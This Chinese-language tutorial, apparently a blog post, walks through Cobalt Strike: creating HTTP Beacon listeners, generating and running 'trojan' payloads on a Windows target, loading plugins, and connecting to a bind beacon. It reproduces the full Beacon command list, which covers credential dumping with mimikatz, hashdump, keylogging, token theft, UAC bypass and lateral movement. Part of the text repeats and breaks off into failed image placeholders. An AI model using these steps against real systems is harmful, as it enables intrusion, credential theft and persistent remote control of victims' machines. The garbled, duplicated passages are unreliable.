因为都在kali 上 ,所以ip 可以写 127.0.0.1
确认指纹,如果与服务器端不一致,则说明存在中间人攻击,可以不接受连接。
确认之后 :
windows启动客户端 ,把压缩包拷贝到windows目录中 ,解压缩 ,执行ddosi.org.bat 程序 。
确认 :
二.生成木马
- 创建监听
打开"Cobalt Strike" -> "Listeners",在下部窗口中点击"Add"添加一个新的监听器(类似于MSF中的 exploit/multi/handler 模块功能)。内部监听器主要是CS自行使用,外部监听器则是为了与MSF进行配合(以),所以可以暂时不用关心外部监听器。
先创建一个HTTP的Beacon,为HTTP Host和TTP Stager配置相同的IP地址:192.168.12.129,端口和其他选项保持默认即可完成Beacon的创建。(HTTP Port(Bind)这一项是用于C2服务器的端口重定向),另外HTTPS的创建与HTTP除了加密之外,没有其他区别。
-
生成木马
创建好HTTP Beacon后,在菜单"Payoads"下选择一个payload,比如"Windows Stager Payload"等,在弹窗中选择对应的Listener。
-
执行木马文件
默认情况下,Beacon上线后,每60秒执行一次指令,如果要进行更快的操作,建议进入Interact命令行交互界面,运行命令"sleep 1"调整为每1秒钟执行一次指令连接。
-
右键功能
木马在线后,右键点击目标主机,可以看到很多与Armitage和MSF类似的快捷功能。
-
插件安装
把CS插件解压缩 :
CS五大实用插件.rar
每一个插件都有一个cna的文件 。选择 菜单
Cobail Strike
->Script Manager
->点击
load
菜单 ,选择插件的cna文件 。
乱码解决方案 :打开启动程序 :ddosi.org.bat ,右键编辑 ,替换其中的内容 。
cmdjava -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike-client.jar
-
命令行操作
右键 -> interact
cmdBeacon Commands =============== Command Description ------- ----------- help 帮助,不跟参数则查看所有命令,help command则查看该命令的用法 argue 进程参数欺骗 blockdlls 在子进程中阻止非Microsoft的DLLs文件 browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect 通过TCP连接到Beacon covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs 对当前令牌启用系统权限 getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录,这是一个后台任务,在View菜单的KeyStrokes中查看 kill 结束进程 link 通过命名管道连接到Beacon logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 给当前目标机器备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid 为生成的post-ex任务设置父PID ps 显示进程列表 psexec 使用服务在主机上生成会话 psexec_psh 使用PowerShell在主机上生成会话 psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg 查询注册表 rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu 在另一个PID下执行程序 screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令,如shell ipconfig shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4a/5代理 socks stop 停止SOCKS4a/5代理 spawn 生成一个会话 spawnas 以其他用户身份生成会话 spawnto 将可执行程序注入进程 spawnu 在另一个PID下生成会话 ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink 断开与Beacon的连接 upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话
-
正向连接
-
创建监听
-
生成 payload
-
连接
运行木马程序 ,CS进入交互模式 执行
cmdconnect 192.168.20.82 4445
-
-
生成shellcode(python)
选择生成payload :
使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
-
正向连接
-
创建监听
[外链图片转存中...(img-ZrKdTk35-1713151147598)]
-
生成 payload
[外链图片转存中...(img-aDY3shGO-1713151147598)]
[外链图片转存中...(img-XRq8SKdr-1713151147599)]
-
连接
运行木马程序 ,CS进入交互模式 执行
cmdconnect 192.168.20.82 4445
[外链图片转存中...(img-pkBNqxUS-1713151147599)]
-
-
生成shellcode(python)
选择生成payload :
[外链图片转存中...(img-dUmY7b1K-1713151147599)]
[外链图片转存中...(img-PMSkJvMM-1713151147599)]
操作和msf 的操作一样 。